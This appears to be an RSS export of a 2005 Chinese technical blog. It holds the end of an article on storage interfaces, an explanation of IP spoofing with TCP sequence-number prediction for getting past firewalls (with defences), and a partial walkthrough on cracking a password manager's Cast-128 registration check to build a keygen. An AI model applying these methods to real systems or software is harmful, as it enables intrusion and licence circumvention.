<P>基于串行接口的SAS实现了对现有并行SCSI的有效逻辑兼容，其域、设备及端口完全继承了SCSI的相应概念，但将点对点连接的距离延长至10米，而连接对象也不再局限于启动设备或目标设备。在一个SAS域中，任意两个设备之间最多可以有3个扩展器, 每个扩展器可连接64台设备，一个SAS域最多可连接4096台（64&#215;64）设备。同时SAS还允许两个设备间建立基于多条物理连接的所谓宽物理连接，为服务器和网络存储等领域提供了大数量设备、高带宽和可扩展性支持。</P>
<P>（8）iSCSI</P>
<P>iSCSI是随着因特网技术不断发展应运而生的一种，可利用TCP/IP网络传送SCSI命令和数据的，基于网络结构的I/O技术。iSCSI既因特网SCSI可帮助用户无需花费FC那样的高代价就能构建高速存储网络。iSCSI规定了软件在互联网上传送SCSI包和在长距离上管理存储时，如何处理SCSI数据包以及如何在TCP/IP命令中封装它们。由于IP网络的灵活性，iSCSI可以在局域网、广域网或Internet上传输数据。</P>
<P>iSCSI的工作原理与SCSI大体类似，只是在使用iSCSI协议时，要用iSCSI启动器对文件系统解析出的SCSI命令进行封装，再打上TCP/IP报头，然后通过以太网传输到iSCSI目标器。iSCSI目标器在收到数据包后按照相反的方向进行解包，拆分出SCSI命令，并通过iSCSI主机总线适配器访问SCSI磁盘。iSCSI协议对数据的封装与TCP/IP协议对数据的封装区别不大，惟一的区别只是在数据域之前增加了一层封装，这种封装就是iSCSI封装。</P>
<P>此外，为了保证iSCSI协议在IP网络上的可靠传输，iSCSI还定义了命名机制、会话管理、差错处理和安全保证等功能组件。其中命名机制用于规定iSCSI节点的命名方法，以便地将IP地址与TCP端口进行绑定；会话管理用于通过登录过程来建立或中断TCP连接；差错处理用于在发生数据传输错误时可以恢复原来的数据；安全保证用于定义一些安全传输方法，如iSCSI登录阶段就提供了终端设备之间都支持的握手协议的文本域。如果握手成功，iSCSI设备之间的PDUs交换将按照适当的安全要求格式实现。</P>
<P>（9）SATA </P>
<P>SATA（Serial ATA）是一种完全不同于并行ATA的新型接口，由Intel和希捷公司共同研发推出，已于2001年8月29日，正式发布了SATA 1.0规范，目前SATA规范正在迈向更进步的Serial ATAⅡ标准。SATA 1.0定义的数据传输率可达150MB/s，而下一代SATA 标准的数据传输率将达到300MB/s，其最终将实现600MB/s的最高数据传输率。这种新型接口采用串行点对点连接，并采用了一种新的星形拓扑结构，使每个设备可独享全部带宽，从而避免了总线仲裁/冲突的开销，大大提高了传输速率。SATA的最大特点在于其信号线和引脚的数量极少，仅有2对数据线和3根地线共7个引脚。此外，SATA还具备热插拔能力，成本也比并行ATA更低。</P>
<P>为了加速SATA标准的开发，2002年Intel成立了SATA Ⅱ工作组。其主要任务是开发SATA Ⅱ规范，以增强SATA在服务器和网络存储市场的竞争力并提供更高的信号传输率。SATA Ⅱ在SATA 1.0基础上进行的诸多扩展中，除本机命令队列和识别设备/设置功能外，都是专门为子系统服务的。同时通过对智能输入/输出和智能平台管理总线技术的支持，进一步完善了SATA的可管理性。SATA Ⅱ规范的制定分两个阶段实施，第一阶段（2002年6月至2003年6月）主要是改进SATA 1.0以适应服务器和网络存储的要求；第二阶段（2003年6月至2004年）主要是针对更高端网络存储市场需求定义第二代信号传输率，最终实现传输速率翻番，达到3Gbps。</P>
<P>三、新一代高性能I/O的比较及发展趋势</P>
<P>计算机总线技术的发展看似平缓，缺少芯片战场的硝烟。然而，在这平静的下面也隐藏着激烈的技术竞争，同时蕴藏着巨大的发展空间。关于这一点，近年来新一代高性能I/O不断涌现就是一个最好的例证。应该说上述高性能I/O诞生都不是偶然的，它们各自都有着自己的生存空间和优势所在。很多时候，技术没有好坏之分，只有适合与否，尤其是在应用需求日趋多元化的今天，因此在今后一段时间内它们的发展可能是并行的。</P>
<P>但从目前已经显现的特点看，PCI Express一改传统PCI的并行总线架构，因此比其它I/O技术有着更为领先的带宽优势，随着时间的推移有取代PCI或PCI-X的趋势。InfiniBand 从结构上看与PCI Express存在着较大差异，它的目标不是用来升级现有的PCI总线结构，而是用来充分发掘现有PCI-X或PCI Express总线的带宽性能，也就是说它将致力于高端应用。Fibre Channel是一种高速度、高可靠、低延迟、高吞吐量的数据传输总线，它在高端之争中取胜靠的是连接距离长，以后也会更专注于长距离连接。作为Fibre Channel的竞争对手iSCSI虽然在成本和易用性方面占有优势，但它在短时间内还不足以取代Fibre Channel，毕竟FC协议仍然是目前世界上效率最高的存储设备通讯协议。HyperTransport和RapidIO同属内部互连高速总线，主要定位于超高性能系统中的芯片之间和模块之间的互连。它们虽各有特点，但在向单板子系统之间的内部通信提供高速机制方面极其类似，只是HyperTransport技术能提供更大范围的灵活性和更大的总线带宽。SPI和SAS则都是基于SCSI架构新型高速总线，只是SPI是并行接口，而SAS则是串行接口。据业内权威人士分析：基于并行接口的SPI已是末路狂花，其性能已近极限，不具备再度带宽翻番的能力，而基于串行接口的SAS正处于上升阶段，且已实现了对现有SPI的有效逻辑兼容，不久的将来SAS会逐步取代SPI 。</P>
<P>另一类基于SCSI架构的总线iSCSI则是为网络存储而生的。iSCSI与Fibre Channel一样重在远程传输，随着千兆乃至万兆以太网的应用、IP网络安全性的提高和TCP/IP协议服务质量的改善，iSCSI将会有进一步的发展和极大的应用前景。SATA是一种旨在逐步取代传统并行ATA的串行接口。SATA与SAS是两个互为补充且互相兼容的接口标准，它们在开发之初就有着某种内在的关联，两者通用的电气和物理层接口更增强了彼此间的联系，但它们所针对的领域仍然存在着很大的差异，就象SCSI一直与ATA平行发展一样，串行化之后也不会改变。 <BR></P><img src ="http://www.cnblogs.com/F4ncy/aggbug/179312.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47996/" target="_blank">7月编程语言排行榜</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>利用IP地址欺骗突破防火墙深层技术解析</title><link>http://www.cnblogs.com/F4ncy/archive/2005/06/22/179311.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Wed, 22 Jun 2005 13:16:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/06/22/179311.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/179311.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/06/22/179311.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/179311.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/179311.html</trackback:ping><description><![CDATA[<P>利用IP地址欺骗突破防火墙深层技术解析</P>
<P>一般的访问控制主要在防火墙中进行设置，制定一些安全策略：如内部局域网的资源不允许外部网上的用户使用；不设防区(又称非军事区)可以为内部或外部局域网，其中的资源允许外部网的用户有限度地使用；可以使外部用户访问非军事区（DMZ区）的WEB服务器等等。 </P>
<P>深入分析研究防火墙技术，利用防火墙配置和实现的漏洞，可以对它实施攻击。通常情况下，有效的攻击都是从相关的子网进行的，因为这些网址得到了防火墙的信赖，虽说成功与否尚取决于机遇等其他因素，但对攻击者而言很值得一试。 </P>
<P>突破防火墙系统最常用的方法是IP地址欺骗，它同时也是其他一系列攻击方法的基础。之所以使用这个方法，是因为IP自身的缺点。IP协议依据IP头中的目的地址项来发送IP数据包。如果目的地址是本地网络内的地址，该IP包就被直接发送到目的地。如果目的地址不在本地网络内，该IP包就会被发送到网关，再由网关决定将其发送到何处。这是IP路由IP包的方法。 </P>
<P>IP路由IP包时对IP头中提供的IP源地址不做任何检查，并且认为IP头中的IP源地址即为发送该包的机器的IP地址。当接收到该包的目的主机要与源主机进行通讯时，它以接收到的IP包的IP头中IP源地址作为其发送的IP包的目的地址，来与源主机进行数据通讯。IP的这种数据通讯方式虽然非常简单和高效，但它同时也是IP的一个安全隐患，很多网络安全事故都是因为IP这个的缺点而引发的。 </P>
<P>黑客或入侵者利用伪造的IP发送地址产生虚假的数据分组，乔装成来自内部站的分组过滤器，这种类型的攻击是非常危险的。关于涉及到的分组真正是内部的还是外部的分组被包装得看起来象内部的种种迹象都已丧失殆尽。只要系统发现发送地址在其自己的范围之内，则它就把该分组按内部通信对待并让其通过。 </P>
<P>通常主机A与主机B的TCP连接(中间有或无防火墙)是通过主机A向主机B提出请求建立起来的，而其间A和B的确认仅仅根据由主机A产生并经主机B验证的初始序列号ISN。具体分三个步骤： </P>
<P>主机A产生它的ISN，传送给主机B，请求建立连接；B接收到来自A的带有SYN标志的ISN后，将自己本身的ISN连同应答信息ACK一同返回给A；A再将B传送来ISN及应答信息ACK返回给B。至此，正常情况，主机A与B的TCP连接就建立起来了。 </P>
<P>B ---- SYN ----&gt; A</P>
<P>B &lt;---- SYN+ACK ---- A</P>
<P>B ---- ACK ----&gt; A </P>
<P>假设C企图攻击A，因为A和B是相互信任的，如果C已经知道了被A信任的B，那么就要相办法使得B的网络功能瘫痪，防止别的东西干扰自己的攻击。在这里普遍使用的是SYN flood。攻击者向被攻击主机发送许多TCP- SYN包。这些TCP-SYN包的源地址并不是攻击者所在主机的IP地址，而是攻击者自己填入的IP地址。当被攻击主机接收到攻击者发送来的TCP-SYN包后，会为一个TCP连接分配一定的资源，并且会以接收到的数据包中的源地址（即攻击者自己伪造的IP地址）为目的地址向目的主机发送TCP-（SYN+ACK）应答包。 </P>
<P>由于攻击者自己伪造的IP地址一定是精心选择的不存在的地址，所以被攻击主机永远也不可能收到它发送出去的TCP-（SYN+ACK）包的应答包，因而被攻击主机的TCP状态机会处于等待状态。如果被攻击主机的TCP状态机有超时控制的话，直到超时，为该连接分配的资源才会被回收。因此如果攻击者向被攻击主机发送足够多的TCP-SYN包，并且足够快，被攻击主机的TCP模块肯定会因为无法为新的TCP连接分配到系统资源而处于服务拒绝状态。并且即使被攻击主机所在网络的管理员监听到了攻击者的数据包也无法依据IP头的源地址信息判定攻击者是谁。 </P>
<P>当B的网络功能暂时瘫痪，现在C必须想方设法确定A当前的ISN。首先连向25端口，因为SMTP是没有安全校验机制的，与前面类似，不过这次需要记录A的ISN，以及C到A的大致的RTT(round trip time)。这个步骤要重复多次以便求出RTT的平均值。一旦C知道了A的ISN基值和增加规律，就可以计算出从C到A需要RTT/2 的时间。然后立即进入攻击，否则在这之间有其他主机与A连接，ISN将比预料的多。 </P>
<P>C向A发送带有SYN标志的数据段请求连接，只是信源IP改成了B。A向B回送SYN+ACK数据段，B已经无法响应，B的TCP层只是简单地丢弃A的回送数据段。这个时候C需要暂停一小会儿，让A有足够时间发送SYN+ACK，因为C看不到这个包。然后C再次伪装成B向A发送ACK，此时发送的数据段带有Z预测的A的ISN+1。如果预测准确，连接建立，数据传送开始。 </P>
<P>问题在于即使连接建立，A仍然会向B发送数据，而不是C，C仍然无法看到A发往B的数据段，C必须蒙着头按照协议标准假冒B向A发送命令，于是攻击完成。如果预测不准确，A将发送一个带有RST标志的数据段异常终止连接，C只有从头再来。随着不断地纠正预测的ISN，攻击者最终会与目标主机建立一个会晤。通过这种方式，攻击者以合法用户的身份登录到目标主机而不需进一步的确认。如果反复试验使得目标主机能够接收对网络的ROOT登录，那么就可以完全控制整个网络。 </P>
<P>C(B) ---- SYN ----&gt; A</P>
<P>B &lt;---- SYN+ACK ---- A</P>
<P>C(B) ---- ACK ----&gt; A</P>
<P>C(B) ---- PSH ----&gt; A </P>
<P>IP欺骗攻击利用了RPC服务器仅仅依赖于信源IP地址进行安全校验的特性，攻击最困难的地方在于预测A的ISN。攻击难度比较大，但成功的可能性也很大。C必须精确地预见可能从A发往B的信息，以及A期待来自B的什么应答信息，这要求攻击者对协议本身相当熟悉。同时需要明白，这种攻击根本不可能在交互状态下完成，必须写程序完成。当然在准备阶段可以用netxray之类的工具进行协议分析。 </P>
<P>虽然IP欺骗攻击有着相当难度，但我们应该清醒地意识到，这种攻击非常广泛，入侵往往由这里开始。预防这种攻击还是比较容易的。IP本身的缺陷造成的安全隐患目前是无法从根本上消除的。我们只能采取一些弥补措施来使其造成的危害减少到最小的程度。防御这种攻击的最理想的方法是：每一个连接局域网的网关或路由器在决定是否允许外部的IP数据包进入局域网之前，先对来自外部的IP数据包进行检验。如果该IP包的IP源地址是其要进入的局域网内的IP地址，该IP包就被网关或路由器拒绝，不允许进入该局域网。 </P>
<P>这种方法虽然能够很好的解决问题，但是考虑到一些以太网卡接收它们自己发出的数据包，并且在实际应用中局域网与局域网之间也常常需要有相互的信任关系以共享资源，这种方案不具备较好的实际价值。另外一种防御这种攻击的较为理想的方法是当IP数据包出局域网时检验其IP源地址。即每一个连接局域网的网关或路由器在决定是否允许本局域网内部的IP数据包发出局域网之前，先对来自该IP数据包的IP源地址进行检验。 </P>
<P>如果该IP包的IP源地址不是其所在局域网内部的IP地址，该IP包就被网关或路由器拒绝，不允许该包离开局域网。这样一来，攻击者至少需要使用其所在局域网内的IP地址才能通过连接该局域网的网关或路由器。如果攻击者要进行攻击，根据其发出的IP数据包的IP源地址就会很容易找到谁实施了攻击。因此建议每一个ISP或局域网的网关路由器都对出去的IP数据包进行IP源地址的检验和过滤。如果每一个网关路由器都做到了这一点，IP源地址欺骗将基本上无法奏效。在当前并不是每一网关及路由器都能做到这一点的情况下，网络系统员只能将自己管理的网络至于尽可能严密的监视之下，以防备可能到来的攻击。 <BR></P><img src ="http://www.cnblogs.com/F4ncy/aggbug/179311.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47996/" target="_blank">7月编程语言排行榜</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>Cast-128 加密算法和 MyPassWord 的破解</title><link>http://www.cnblogs.com/F4ncy/archive/2005/06/22/179310.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Wed, 22 Jun 2005 13:15:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/06/22/179310.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/179310.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/06/22/179310.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/179310.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/179310.html</trackback:ping><description><![CDATA[<P>Cast-128 加密算法和 MyPassWord 的破解</P>
<P>作者: 一块三毛钱</P>
<P>1. Cast-128 加密算法概述</P>
<P>&nbsp;&nbsp;&nbsp; Cast-128 加密算法是一种类似于DES的置换组合网路（Substitution-Permutation Network，SPN）加密系统，对于微分密码分析、线性密码分析、密码相关分析具有较好的抵抗力。这种加密还有其他的几个理想的特点，包括雪崩、严格的雪崩标准（SAC）、位独立标准（BIC）、没有互补属性也不存在软弱或者半软弱的密钥。因此对于整个Internet社区——要求密码强壮、容易获取的加密算法——而言，这是一种能够满足一般应用的很好的选择。</P>
<P>&nbsp;&nbsp;&nbsp; 整个加密过程分为密钥预处理和信息加密两个过程。密钥预处理过程是根据输入的 128 位密钥，通过一系列的S-盒置换生成 16 对子密钥。信息加密是把输入的 64 位信息分为左右两半 L0 和 R0，通过一系列的循环变换生成 L16 和 R16，然后连接 L16 和 R16 就是输出的密文。对 Cast-128 算法解密也要分为密钥预处理和信息解密两个过程。密钥预处理和加密的时候完全相同，输入的密钥表也一样。而信息解密是把加密时的一系列循环变换倒过来，按相反的顺序从 L16 和 R16 计算出 L0 和 R0。（Cast-128 算法的具体描述请参考 RFC2144）</P>
<P>&nbsp;&nbsp;&nbsp; 所以要想破解采用 Cast128 算法的软件，关键是找到密钥预处理时用到的密钥表，有了密钥表就可以根据密文解密出明文，一般而言也就是我们要找的注册码。而且要写一个注册机也不是难事。</P>
<P>2. 实例分析：MyPassWord 的破解</P>
<P>&nbsp;&nbsp;&nbsp; MyPassWord 是一款私人密码管理软件，可以帮助大家管理各种各样的密码，在《黑防》2004 年 1 月刊中有介绍。软件管理帐户信息应该是采用了 MD5 算法进行验证，如果跳过帐户验证打开别人的密码文件得到的只是一些看不懂的乱码。软件没注册会在每次打开的时候提示使用了多少次，提醒大家注册。</P>
<P>&nbsp;&nbsp;&nbsp; 先用 PEiD 查看一下加了壳没有，加了壳就先脱壳，没加壳就看看采用了什么加密算法。检测一下发现 ASPack 2.12 -&gt; Alexey Solodovnikov，既然是 ASPack 的壳那就不客气了，利用 stripper v2.07 脱壳机很方便的就可以把壳脱掉。脱壳后再次用 PEiD 检测一下，发现软件是用 Delphi6.0 编写的，采用了 Cast 和 MD5 加密算法。</P>
<P>&nbsp;&nbsp;&nbsp; 这里要说一句，每次拿到一个软件先用 PEiD 和 FileInfo 等工具探测一番不失为一个好的习惯，可以节省时间对症下药（什么壳要脱，什么语言用什么工具对付，什么算法要不要复习看看书）。好，知道了是 Delphi 编写的软件，当然是先用 DeDe 反汇编寻找关键的代码。反汇编后找到&#8220;注册&#8221;对话框中的&#8220;注册&#8221;按纽的单击响应代码位置在 0x004F0B60，&#8220;注册&#8221;对话框的初始化代码在 0x004F0D18 处。</P>
<P>&nbsp;&nbsp;&nbsp; DeDe 的工作做完后再打开 Ida Pro 反汇编，这个工具不单是静态反汇编之王，现在加入了动态调试的功能更是让人爱不释手。不但可以把变量改成容易理解的名字，还可以把分析过的代码写上注释，碰到一个过程可以先进去看看再决定是需要跟进还是直接带过，关键的过程可以知道被几个地方调用了，识别出了大部分的库函数使得代码更容易理解和更容易调试（不需要跟进该函数就能知道函数实现的功能），不过反汇编的时间有一点点长。</P>
<P>&nbsp;&nbsp;&nbsp; 反汇编结束后，在 0x004F0B60 处按 F2 下断点，按 F9 运行软件。在&#8220;注册&#8221;对话框中会发现&#8220;序列号&#8221;栏已经填写了一些字符，现在先不管它，在&#8220;注册码&#8221;栏输入 123456789 然后按&#8220;注册&#8221;按纽。程序中断在 0x004F0B60 处，跟踪一下发现输入的长度有要求，在&#8220;注册码&#8221;栏重新输入 1234567890abcdef 然后按&#8220;注册&#8221;按纽。中断后跟踪一下会来到如下代码处：</P>
<P>&nbsp;&nbsp;&nbsp; CODE:004F0BBB mov&nbsp;&nbsp;&nbsp;&nbsp; eax, [ebp+var_10]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;[eax]="1234567890abcdef"<BR>&nbsp;&nbsp;&nbsp; CODE:004F0BBE lea&nbsp;&nbsp;&nbsp;&nbsp; ecx, [ebp+var_C]<BR>&nbsp;&nbsp;&nbsp; CODE:004F0BC1 mov&nbsp;&nbsp;&nbsp;&nbsp; edx, ds:dword_55E6D8<BR>&nbsp;&nbsp;&nbsp; CODE:004F0BC7 call&nbsp;&nbsp;&nbsp; sub_54B2F8<BR>&nbsp;&nbsp;&nbsp; CODE:004F0BCC mov&nbsp;&nbsp;&nbsp;&nbsp; eax, [ebp+var_C]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;[eax]==0D4h,15h,6Dh,0D8h,3Ch,0B7h,0F8h<BR>&nbsp;&nbsp;&nbsp; CODE:004F0BCF mov&nbsp;&nbsp;&nbsp;&nbsp; edx, ds:dword_55E4C4<BR>&nbsp;&nbsp;&nbsp; CODE:004F0BD5 mov&nbsp;&nbsp;&nbsp;&nbsp; edx, [edx]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;[edx]=="49988800"<BR>&nbsp;&nbsp;&nbsp; CODE:004F0BD7 call&nbsp;&nbsp;&nbsp; @@LStrCmp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;比较 eax 和 edx 所指向的内容是否相同<BR>&nbsp;&nbsp;&nbsp; CODE:004F0BDC jz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; short loc_4F0BEF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;如果更改这个跳转会发现弹出消息框说注册成功</P>
<P>&nbsp;&nbsp;&nbsp; 所以 call sub_54B2F8 肯定是关键的过程，跟进。又是经过一番细细的跟踪来到如下代码处：</P>
<P>&nbsp;&nbsp;&nbsp; CODE:0054B39C lea&nbsp;&nbsp;&nbsp;&nbsp; ecx, [ebp+var_20]<BR>&nbsp;&nbsp;&nbsp; CODE:0054B39F mov&nbsp;&nbsp;&nbsp;&nbsp; edx, edi<BR>&nbsp;&nbsp;&nbsp; CODE:0054B3A1 mov&nbsp;&nbsp;&nbsp;&nbsp; eax, [ebp+var_10]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;[eax]="1234567890abcdef"<BR>&nbsp;&nbsp;&nbsp; CODE:0054B3A4 call&nbsp;&nbsp;&nbsp; sub_54B1B0<BR>&nbsp;&nbsp;&nbsp; CODE:0054B3A9 mov&nbsp;&nbsp;&nbsp;&nbsp; edx, [ebp+var_20]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;[edx]==0D4h,15h,6Dh,0D8h,3Ch,0B7h,0F8h</P>
<P>&nbsp;&nbsp;&nbsp; 跟进 call sub_54B1B0，马上就会看到这样一个过程 CODE:0054B1F3 call sub_4BD5A8。如果先进去看看会发现很像 Cast-128 算法的密钥预处理过程，首先是在代码的注释（这个是 Ida Pro 自动产生的）中居然看到如下字符：</P>
<P>&nbsp;&nbsp;&nbsp; CODE:004BD5C4 mov&nbsp;&nbsp;&nbsp;&nbsp; ecx, offset aCast128KeyMust&nbsp;&nbsp;&nbsp;&nbsp; ; "Cast128: Key must be between 1 and 16 b"...<BR>&nbsp;&nbsp;&nbsp; CODE:004BD5C9 mov&nbsp;&nbsp;&nbsp;&nbsp; dl, 1<BR>&nbsp;&nbsp;&nbsp; CODE:004BD5CB mov&nbsp;&nbsp;&nbsp;&nbsp; eax, ds:dword_40881C<BR>&nbsp;&nbsp;&nbsp; CODE:004BD5D0 call&nbsp;&nbsp;&nbsp; CreateExcept</P>
<P>&nbsp;&nbsp;&nbsp; 看到没，Cast128: Key must ... ，就是它，明明白白的指出了这是 Cast-128 的密钥预处理过程。我记得上次跟踪资料收藏大师 v3.73时也看到一样的字符，看来它们都采用了同一个人写的 Cast-128 算法模块。初步断定了这是 Cast-128 的密钥预处理过程，但也不能排除软件作者迷惑我们的可能性。继续往下看：</P>
<P>&nbsp;&nbsp;&nbsp; CODE:004BD61E cmp&nbsp;&nbsp;&nbsp;&nbsp; edi, 0Ah<BR>&nbsp;&nbsp;&nbsp; CODE:004BD621 jg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; short loc_4BD62F<BR>&nbsp;&nbsp;&nbsp; CODE:004BD623 mov&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [ebx+90h], 0Ch<BR>&nbsp;&nbsp;&nbsp; CODE:004BD62D jmp&nbsp;&nbsp;&nbsp;&nbsp; short loc_4BD639<BR>&nbsp;&nbsp;&nbsp; CODE:004BD62F ; ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━<BR>&nbsp;&nbsp;&nbsp; CODE:004BD62F <BR>&nbsp;&nbsp;&nbsp; CODE:004BD62F loc_4BD62F:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; CODE XREF: sub_4BD5A8+79j<BR>&nbsp;&nbsp;&nbsp; CODE:004BD62F mov&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [ebx+90h], 10h</P>
<P>&nbsp;&nbsp;&nbsp; 上面这段代码就是根据密钥表的长度设置信息加密时是采用 12 循环还是 16 循环。</P>
<P>&nbsp;&nbsp;&nbsp; CODE:004BD713 mov&nbsp;&nbsp;&nbsp;&nbsp; edx, [esi+0Ch]<BR>&nbsp;&nbsp;&nbsp; CODE:004BD716 mov&nbsp;&nbsp;&nbsp;&nbsp; ecx, edx<BR>&nbsp;&nbsp;&nbsp; CODE:004BD718 shr&nbsp;&nbsp;&nbsp;&nbsp; ecx, 10h<BR>&nbsp;&nbsp;&nbsp; CODE:004BD71B and&nbsp;&nbsp;&nbsp;&nbsp; ecx, 0FFh<BR>&nbsp;&nbsp;&nbsp; CODE:004BD721 mov&nbsp;&nbsp;&nbsp;&nbsp; ecx, ds:sbox5[ecx*4]<BR>&nbsp;&nbsp;&nbsp; CODE:004BD728 xor&nbsp;&nbsp;&nbsp;&nbsp; ecx, [esi]<BR>&nbsp;&nbsp;&nbsp; CODE:004BD72A mov&nbsp;&nbsp;&nbsp;&nbsp; edi, edx<BR>&nbsp;&nbsp;&nbsp; CODE:004BD72C and&nbsp;&nbsp;&nbsp;&nbsp; edi, 0FFh<BR>&nbsp;&nbsp;&nbsp; CODE:004BD732 xor&nbsp;&nbsp;&nbsp;&nbsp; ecx, ds:sbox6[edi*4]<BR>&nbsp;&nbsp;&nbsp; CODE:004BD739 mov&nbsp;&nbsp;&nbsp;&nbsp; edi, edx<BR>&nbsp;&nbsp;&nbsp; CODE:004BD73B shr&nbsp;&nbsp;&nbsp;&nbsp; edi, 18h<BR>&nbsp;&nbsp;&nbsp; CODE:004BD73E xor&nbsp;&nbsp;&nbsp;&nbsp; ecx, ds:sbox7[edi*4]<BR>&nbsp;&nbsp;&nbsp; CODE:004BD745 shr&nbsp;&nbsp;&nbsp;&nbsp; edx, 8<BR>&nbsp;&nbsp;&nbsp; CODE:004BD748 and&nbsp;&nbsp;&nbsp;&nbsp; edx, 0FFh<BR>&nbsp;&nbsp;&nbsp; CODE:004BD74E xor&nbsp;&nbsp;&nbsp;&nbsp; ecx, ds:sbox8[edx*4]<BR>&nbsp;&nbsp;&nbsp; CODE:004BD755 mov&nbsp;&nbsp;&nbsp;&nbsp; edx, [esi+8]<BR>&nbsp;&nbsp;&nbsp; CODE:004BD758 shr&nbsp;&nbsp;&nbsp;&nbsp; edx, 18h<BR>&nbsp;&nbsp;&nbsp; CODE:004BD75B xor&nbsp;&nbsp;&nbsp;&nbsp; ecx, ds:sbox7[edx*4]<BR>&nbsp;&nbsp;&nbsp; CODE:004BD762 mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_34], ecx<BR>&nbsp;&nbsp;&nbsp; ......</P>
<P>&nbsp;&nbsp;&nbsp; 上面的代码（省略了大部分）就是用来计算子密钥的。知道了 sub_54B1B0 就是 Cast-128 的密钥预处理过程，把 sub_54B1B0 改名为 Cast128_InitKey 方便后面跟踪。现在就是找出密钥预处理过程用到的密钥表：</P>
<P>&nbsp;&nbsp;&nbsp; CODE:0054B1E6 lea&nbsp;&nbsp;&nbsp;&nbsp; eax, [ebp+TCastData]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;[eax]=TCastData<BR>&nbsp;&nbsp;&nbsp; CODE:0054B1EC mov&nbsp;&nbsp;&nbsp;&nbsp; ecx, 10h&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;ecx=密钥长度<BR>&nbsp;&nbsp;&nbsp; CODE:0054B1F1 mov&nbsp;&nbsp;&nbsp;&nbsp; edx, ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;[edx]=密钥<BR>&nbsp;&nbsp;&nbsp; CODE:0054B1F3 call&nbsp;&nbsp;&nbsp; Cast128_InitKey</P>
<P>&nbsp;&nbsp;&nbsp; 来到上面的代码处就可以从 edx 中得到密钥的位置找出密钥 01h,23h,27h,67h,12h,74h,42h,78h,23h,52h,57h,35h,34h,56h,78h,9Ah 。把密钥记为 key2，我们写注册机的时候要用到。密钥预处理完后就是信息加密，继续跟踪程序来到下面的代码处：</P>
